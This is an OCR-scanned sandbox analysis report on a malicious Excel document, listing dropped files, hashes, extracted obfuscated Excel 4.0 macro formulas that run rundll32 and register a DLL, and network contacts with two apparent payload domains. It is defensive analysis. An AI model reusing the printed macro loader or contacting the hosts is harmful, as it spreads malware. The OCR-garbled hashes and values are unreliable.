Peeees e TG s IS T (U }...hittp..//ap.p.s..identrus.t..com./ro.0ts./.ds.tro.0.tc.ax.3..p.7.c.."3.7.d.-.5.b.f.8.d
.£.8.0.6.2.7.0.0."...

C:\Users\luser\AppData\Local\Temp\88EE0000
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
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C:\Users\user\AppData\Local\Temp\88EE0000

File Type: data

Category: dropped

Size (bytes): 81161

Entropy (8bit): 7.9023078240565345

Encrypted: false

SSDEEP: 1536:TeKmfTWbSDcn9iZtJOXAQR2KtCbuMB/yDL4AWODeOKIWXEy: TALWbSD8Y Zo/UhODOD3kIkH

MDS5: BB9502F4155E166F9BAOD791ACA4E23D

SHA1L: B80D13B175E28961585738A9AB265F738AF40928

SHA-256: 3FC637F0B7EA304D0A93EEB1630077998107C31C3BD1CC6687B1C46C6CB2C7B3

SHA-512: 6BBE4D4B3D2E95572DEOC7E87A0AOF15D74051445842E3622E8F8DFD4CD2F9B55387DDEOSCA98FCOADC176977285DF4F84781D0C50AFC55C809E736C8C8AAL
0

Malicious: false

Reputation: low

Preview:

Q..H.W+-Ay.l...A(...5M.
5.5 } @)oo 2.

C:\Users\user\AppData\Local\Temp\CabF2E8.tmp E

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Microsoft Cabinet archive data, 59863 bytes, 1 file

Category: dropped

Size (bytes): 59863

Entropy (8bit):  7.99556910241083

Encrypted: true

SSDEEP: 1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOqOrdDdJPAXILHA/

MD5: 15775D95513782F99CDFB17E65DFCEBL

SHA1L: 6C11F8BEE799B093F9FF4841E31041B081B23388

SHA-256: 477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBEOO

SHA-512: AC09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCES62C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD
E7

Malicious: false

Reputation: moderate, very likely benign file

Preview:
MSCF.....cc..... et Lo b R.i .authroot.stl.qgp.4..CK..8T....c_.d...A.F...m"...AH)-.%.QIR..$t)Kd.-QQ*..~.L.2.L.......sx.}...~....$....yy.A.8;..... %OV.a0xN...
.9..C..t.z, X...,..1Qj,.p.E.y..ac’.<.e.c.aZW..B.jy... \]..+)....r.X:.0.. .Y..jJA8C........ n7R...p!_.+.<.AWt=..sV..".90..CD./.s.\#.t#..s..Jeiu..BS$.....8..(g..tJ....=,....d.].xgX4....... g.
IF..Mny"W.R...K\.P.n._.7........... @pm.. Q....(#....=)...1.kC.".....AP8.A..<...7S.L...S.. R.).hgS...DK.6.j....u_.0.(4g....1,.L".....hza]2.....J9.\. Ww.......%.......4E...

....0.QA.0.M<.&MaD.....,.]*...5..\./d.F>.V...
.g...AL=+u2.X~....0.

CJdewl iz Dse Ze e, N<.d.?<...b..,..n.....;...YK.X..0..Z.....7...9.3.49T.%.|..5.YK.E.V...aD.0...Y../e.7...c.
&..U.e..?2.2..9%)S.T..r.1?M..;....r,QH.B <.(t..8s3..u[.N8gL.%...v....f..W.y...cz-.EQ.....c...0..Nn........ D*.......2.

C:\Users\luser\AppData\Local\Temp\TarF2E9.tmp

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 156386

Entropy (8bit): 6.3086528024913715

Encrypted: false

SSDEEP: 1536:Z116c79JjgCyrYBWsWimp4Ydm6Caku2SWsz00D8reJgMnI3XIMyGr:ZBUJcCyZfdmoku2SL3kMnBGyA

MDS5: 78CABD9F1AFFF17BB91A105CF4702188

SHA1L: 52FA8144D1FC5F92DEB45E53F076BCC69F5D8CC7

SHA-256: C7B6743B228E40B19443E471081A51041974801D325DB4ED8FD73A1A24CBD066

SHA-512: FOBF5DFBAB47CC6A3D1BF03CEC3FDDA84537DB756DA97E6D93CF08A5C750EABDFBF7FCF7EBDFFF04326617E43F0D767E5A2B7B68C548C6D9C48F364938811
62B

Malicious: false

Preview:

0.R..+...7...RO.RO..4+....7....... 5XY._...210419201239Z0...+
5084701 @V %..%..S.Y.00. +.....7..b1". ].L4 > XLEW..
te. . Authority..0., .......[/[.ulv..%1.0..+..7.h1....6.M..0...+... 7. ~1. ... 0..4....7..1..0..+......
Aol 70b1 X[l 3%l 7.2..Gy.cS.0D. . +.....7...16.4V.e.ri.S.i.g.n. .T.i.m.e. .S.tam.p.i.n.g. .CA..0.....4.R..27.. ..1.0..+...
L7010 ol AL LJ@0%. +. L 7.0 1 W FLL9INLL 00, L 70T @G d..m.$.... XL J0B. +.....7...14.2M.i.c.r.0.s.0.f.t. .R.0.0.t. .A.u.t.h.0

0.R.0.*..."..@.,..0..0.r1..0..#....7..~1......D...0...+.....7..i1..0
-@w0Z..+.....7...1L.JM.i.c.r.o.s.0.f.t. .R.0.0.t. .C.e.rtifi.c.a.
..b0$..+....7...1..>)....5,.=$.~R."..00.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Thu May 13
11:15:45 2021, atime=Thu May 13 11:15:45 2021, length=12288, window=hide

Category: dropped

Size (bytes): 867

Entropy (8bit):  4.498209057111674
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Encrypted: false

SSDEEP: 12:85QEcLgXg/XAICPCHaXEKB8VXB/KVGAX+WnicvbFbDtZ3YiIMMEpPXRIJKZTdIP90:85JK/XTOK6VX0PYedDv3qOrNru/

MD5: D9031EEBF26356BB3BABEE39A8BF22FF

SHA1L: 4C8AD2C406A62B025AEAG637ES5FD4193EA7609418

SHA-256: D77F8D4FAD6F9B33E53CF8F38EDEB1B6FEECDA4042237AE74629DA40708D5B6A

SHA-512: 8474DEC17B44FEAEB826464756FB18EFB409C419D7DFC7DB7AC47ES5A30B48A6CF0B8008865F24696B1CECDCD4F80B7F52BC97937CC535498F80872F4B7A5B2
B

Malicious: false

Preview:
| EETTTOPRRN | ST 7G...<.G...<.G0s i...P.O A00../C:\ t1.....QK.X. Users. ......QK.X* ..o 6....Us.ers..@.s.h.ell3.2..d.ll,.-
.2.1.8.1.3....L.1.. Alb.us....z.1.....R.a..Desktop.d. c...Desktop.@.s.hell3.2.dll,.-2.

. oo \\971342\Users user\Desktop.... .D.e.skt.o.peci LB AG 1SPS.XF.L
S 1 5 21 966771315 .3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6... e X 971342, D_...3N..W..9r[*.... }EKD_....3N

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\diagram-419065597.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:18 2020, mtime=Thu May 13 11:15:45 2021,
atime=Thu May 13 11:15:45 2021, length=174080, window=hide

Category: dropped

Size (bytes): 2098

Entropy (8bit):  4.5585178670148885

Encrypted: false

SSDEEP: 48:81/XTOZVXbFAOp7J0Qh2I/XTO0ZVXbFAOP7J0Q/:8I/XuVXbS+7J0Qh21/XuVXbS+7J0Q/

MD5: 338443857F50DEF0A1269BBSADDEEASE

SHA1L: 577E0349B370CE8D74A47359572DEF30915D4550

SHA-256: D2F7770F22BD0OE689D432841E69CD4B4C9B0663C27BD397B97DA8BA33800F10C

SHA-512: 16994874C15DD1338FDOESD3A5D1A45138881328BC21938B434A458F67DE17A1C60BCC31848FCD5249CE908EA23E134286338B55D510F0BF9502A2BDB39CB04:

Malicious: false

Preview:

........... t.1.....QK.X..Users. ..........QK.X*.
Q.y..Desktop.d......QK.X.Q.y*.
...diag.r.am.-4.19.0.6.559.7..xls...
.\.D.ess.kto.p\diag.ram.- 419065597 x.l.s
S Xevrenn 971342..

........ 6....Us.ers..@.s.hell3.2.dll,.-
.D.esskto.p..@.s.hell3.2.dll,.-.2.
........... 2J.....C:\Users\. #................\971

.2.1.8.1.3..... . Qy user.8...... QK. X.Q.y*...&
1.7.6.9.....t.2 R a .DIAGRA~1.XLS. X....... Q.y.Q.y*...8.
342\Users. user\Desktop\dlagram -419065597.xIs
m..... .S8.-1.-5.-2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6...

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 104

Entropy (8bit): 4.801361621988822

Encrypted: false

SSDEEP: 3:0yBVOmMMXCU7KSYZFd7KSYmMMXCU7KSYV:dj6XCRSC+SKXCRSC

MDS5: 94036EFD5D6B12AB4378E234BAA91BOD

SHAL: 5FBA99F3043E4F618FE80C93A75CBD8C7D8FECOA

SHA-256: FICD6390630DAD2881B0094C6007593A6FB1D10305BBE2168B87027F67FDFF29

SHA-512: 73D726A6E1F2ACFI6E7FCCA45DBBIC4A7AL114F231EF063312698A2F2BC6A9816153A8C6AFD22E1619FD43EE35600DA461EEFDCB853666354B2E84D138EDA93!
9

Malicious: false

Preview:

Desktop.LNK=0..[xls]..diagram-419065597.LNK=0..diagram-419065597.LNK=0..[xIs]..diagram-419065597.LNK=0..

C:\Users\user\Desktop\89EE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Applesoft BASIC program data, first line number 16

Category: dropped

Size (bytes): 205225

Entropy (8bit): 5.6442453650812325

Encrypted: false

SSDEEP: 3072:318iWBSD8YNoDUF078AH7RDHCjnTDPBarvvrAXrul8i4w:rWBTLDUFC81I4w
MDS5: CE4D8E82BE66238B8E21A1362AF3095A

SHAL: 1DECF537A1806AA2ECAEDE99F92563C088CAOFBE

SHA-256: 5F14E0BA523C083C3D09B3515E54643B959FDDIFO00ED70F2A72A0964A323930F
SHA-512: 052164129BCD5EEDDB24A44C1F79571EDD66D8D249F330A2D9111405741A3793ECOB88F025D37AB6CC32C9CBB3AFC0051ACIEB9048C9D72D80F0295343CFD2
Malicious: false
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C:\Users\user\Desktop\89EE0000

Preview:

LA Ariall.........

Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "diagram-419065597.xIs"

Indicators
Has Summary Info:
Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:

Contains PowerPoint Document Stream:

Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Author:

Last Saved By:

Copyright Joe Security LLC 2021

edeea286adb4bcb4

OLE

True
Microsoft Excel
False
False
True
False

False

True

1251
van-van

Vi-vVi

........................................................ =...0.9J.8...X.@..
cdAriallo

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1251, Author:
van-van, Last Saved By: vi-vi, Name of Creating
Application: Microsoft Excel, Create Time/Date: Sat Sep
16 01:00:00 2006, Last Saved Time/Date: Wed May 12
08:22:48 2021, Security: 0

3.261681103749055

e Microsoft Excel sheet (30009/1) 78.94%
e Generic OLE2 / Multistream Compound File
(8008/1) 21.06%

diagram-419065597.xls

375808

ec968745c407ee67d80d18c25abaa8d2
922818d6a781b3780541837975c54baade7a3349

431c2a2e6969ba3aa239af68c3150d86837b3e58bc80b2
690b91cf39d459ac55

8b8e26f86ec06bc25718036c5d94¢794014f02d5d4e9ce6
05d25713becf43e97fdcce82636df650c66bebb930f5b32
€a00f52f07470708bd7953dcd153f0b574

3072:Q8UMKE+Y6t/Bl/s/C/iIR/7/3/UQ/OhP/2/al1/lIT/2zf
OTfFG4l+s2/7nU5BLP:vUMIt6Uqa5DPdG9uS9QLA4I+s
BqO
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Summary

Create Time:

Last Saved Time:
Creating Application:
Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:

Contains Dirty Links:

Streams

2006-09-16 00:00:00
2021-05-12 07:22:48
Microsoft Excel

0

1251
False

False

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x6Summaryinformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x5DocumentSummarylnformation
data

4096

0.287037498961

False

........................................ +,..0.0 o 08
@....... H....... S Docl..... Doc:z
..... Doc3.....D0C4 ... ... i EXxcel
A0

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b4 00 00 00 05 00 00 00 01 00 00 00
30 00 00 00 Ob 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 Oc 00
00 00 74 00 00 00 02 00 00 00 e3 04 00 00 Ob 00 00 00 00 00 00 00 Ob 00 00 00 00 00 00 00
1e 10 00 00 04 00 00 00

\x5SummaryInformation
data

4096

0.288480529966

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 Oc 00 00
00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 €3 04 00 00 1e
00 00 00 08 00 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363297

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macro 4.0 Code

Book

Applesoft BASIC program data, first line number 8
363297

3.24802119785

True

_xIfn.AGGREGATE....

09 08 08 00 00 05 05 00 17 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 cO 00 00 00
€2 00 00 00 5c 00 70 00 05 76 69 2d 76 69 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&"1",0,!AL21)=RUN(Doc4!AM6)

e =RAND(=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND ()=FACT (59)=SUMX

MY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(45
2354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45
245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=R

Copyright Joe Security LLC 2021
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AND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA (before.3.5.0.sheet!AZ39&BA39&before.3.5.0.sheet!BB39&before.3.5.0.sheet!BC39,before.3.5.0
.sheet!AU13)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,4
5245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(
59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",,,,,,,.1ssssssssssssssssssssmssmssnssnssnsnsnnss ~=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(45
2354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45
245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=R
AND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=
FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA (befor
e.3.5.0.sheet!AZ40&BA40&before.3.5.0.sheet!BB40&before.3.5.0.sheet!BC40,before.3.5.0.sheet! AU14)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(
59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SU
MXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",.,.....1s01s1s15s0smssmsmsssmsssnsmssssninns
s =RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY

52354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,4
5245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(""U""&before.3.5.0.sheet!BC25&before.3.5.0.sheet!B
C29&before.3.5.0.sheet!BF28&before.3.5.0.sheet!BC28&before.3.5.0.sheet!BC31&before.3.5.0.sheet!BF29&""'A™" before.3.5.0.she

"=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&™'1™,0,/AL21)=RUN(Doc4!AM6)"

"=MDETERM(56241452475)=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&"'2 "'&Doc3!BC17&Doc3!BD31&™ IRegi"&" " 'ster"'&"'Ser"&" 'ver")=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&D
0c3!BB30&™2 "'&Doc3!BC18&"'1"'&Doc3!BD31& ™ IRegi™& " ster"'&" Ser"'&" 'ver"")=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDET
ERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(5
6241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(562414
52475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=RUN(Doc3!AY22)"

Network Behavior

Network Port Distribution

Total Packets: 25

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2021 05:16:15.570801020 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:15.739686966 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:15.739849091 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:15.749993086 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:15.918629885 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:15.926552057 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:15.926589012 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:15.926605940 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:15.926745892 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:15.960908890 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:16.141896009 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:16.142082930 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:17.794972897 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:18.007582903 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:18.380754948 CEST 443 49167 108.167.180.130 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2021 05:16:18.380767107 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:18.380958080 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:18.381586075 CEST 49167 443 192.168.2.22 108.167.180.130
May 13, 2021 05:16:18.460218906 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:18.549998045 CEST 443 49167 108.167.180.130 192.168.2.22
May 13, 2021 05:16:18.644145012 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:18.644336939 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:18.644867897 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:18.825505972 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:18.835638046 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:18.835669041 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:18.835683107 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:18.835853100 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:18.889534950 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:19.064502001 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:19.064579964 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:19.109901905 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:19.322457075 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:19.525058985 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:19.525242090 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:19.525374889 CEST 443 49170 208.91.198.131 192.168.2.22
May 13, 2021 05:16:19.525437117 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:19.525897980 CEST 49170 443 192.168.2.22 208.91.198.131
May 13, 2021 05:16:19.697937965 CEST 443 49170 208.91.198.131 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2021 05:16:15.496953964 CEST 52197 53 192.168.2.22 8.8.8.8

May 13, 2021 05:16:15.554223061 CEST 53 52197 8.8.8.8 192.168.2.22

May 13, 2021 05:16:16.503516912 CEST 53099 53 192.168.2.22 8.8.8.8

May 13, 2021 05:16:16.553849936 CEST 53 53099 8.8.8.8 192.168.2.22

May 13, 2021 05:16:16.561748981 CEST 52838 53 192.168.2.22 8.8.8.8

May 13, 2021 05:16:16.610579967 CEST 53 52838 8.8.8.8 192.168.2.22

May 13, 2021 05:16:17.147383928 CEST 61200 53 192.168.2.22 8.8.8.8

May 13, 2021 05:16:17.205862045 CEST 53 61200 8.8.8.8 192.168.2.22

May 13, 2021 05:16:17.211152077 CEST 49548 53 192.168.2.22 8.8.8.8

May 13, 2021 05:16:17.268238068 CEST 53 49548 8.8.8.8 192.168.2.22

May 13, 2021 05:16:18.395993948 CEST 55627 53 192.168.2.22 8.8.8.8

May 13, 2021 05:16:18.455827951 CEST 53 55627 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 13, 2021 05:16:15.496953964 CEST 192.168.2.22 8.8.8.8 0x9610 Standard query  stateofthe A (IP address) IN (0x0001)
(0) artacademy

.com.br

May 13, 2021 05:16:18.395993948 CEST 192.168.2.22 8.8.8.8 0x246e Standard query  dsafarm.com A (IP address) IN (0x0001)
(0)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 13, 2021 8.8.8.8 192.168.2.22 0x9610 No error (0) stateofthe 108.167.180.130 A (IP address) IN (0x0001)

05:16:15.554223061 artacademy

CEST .com.br

May 13, 2021 8.8.8.8 192.168.2.22 0x246e No error (0) dsafarm.com 208.91.198.131 A (IP address) IN (0x0001)

05:16:18.455827951

CEST

HTTPS Packets
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Source Dest
Timestamp Source IP Port Dest IP Port  Subject
May 13, 2021 108.167.180.130 443 192.168.2.22 49167 CN=cpcontacts.stateoftheartac
05:16:15.926605940 ademy.com.br CN=R3,
CEST O=Let's Encrypt, C=US
CN=R3, O=Let's Encrypt,
C=USs
May 13, 2021 208.91.198.131 443 192.168.2.22 49170 CN=autodiscover.premieregrou
05:16:18.835683107 p.co.in CN=R3, O=Let's
CEST Encrypt, C=US

CN=R3, O=Let's Encrypt,
C=USs

Code Manipulations

Statistics

Behavior

@ EXCEL.EXE
@ rundl32.exe
@ rundll32.exe

System Behavior

Click to jump to process

Issuer

CN=R3, O=Let's
Encrypt, C=US
CN=DST Root
CA X3, O=Digital
Signature Trust
Co.

CN=DST Root
CA X3, O=Digital
Signature Trust
Co.

CN=R3, O=Let's
Encrypt, C=US
CN=DST Root
CA X3, O=Digital
Signature Trust
Co.

CN=DST Root
CA X3, O=Digital
Signature Trust
Co.

Not
Before

Tue Feb
16
13:37:39
CET
2021
Wed Oct
07
21:21:40
CEST
2020

Wed Oct
07
21:21:40
CEST
2020

Thu Apr
29
13:33:30
CEST
2021
Wed Oct
07
21:21:40
CEST
2020

Wed Oct
07
21:21:40
CEST
2020

Not
After

Mon
May 17
14:37:39
CEST
2021
Wed
Sep 29
21:21:40
CEST
2021

Wed
Sep 29
21:21:40
CEST
2021

Wed Jul
28
13:33:30
CEST
2021
Wed
Sep 29
21:21:40
CEST
2021

Wed
Sep 29
21:21:40
CEST
2021

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

771,49192-49191- 7dcce5b76¢8b17472d024
49172-49171-159- 758970a406b
158-57-51-157-

156-61-60-53-47-

49196-49195-

49188-49187-

49162-49161-106-

64-56-50-10-19,0-

10-11-13-23-

65281,23-24,0

771,49192-49191- 7dcce5b76¢8b17472d024
49172-49171-159- 758970a406b
158-57-51-157-

156-61-60-53-47-

49196-49195-

49188-49187-

49162-49161-106-

64-56-50-10-19,0-

10-11-13-23-

65281,23-24,0

Analysis Process: EXCEL.EXE PID: 648 Parent PID: 584

General
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Start time: 05:15:42

Start date: 13/05/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

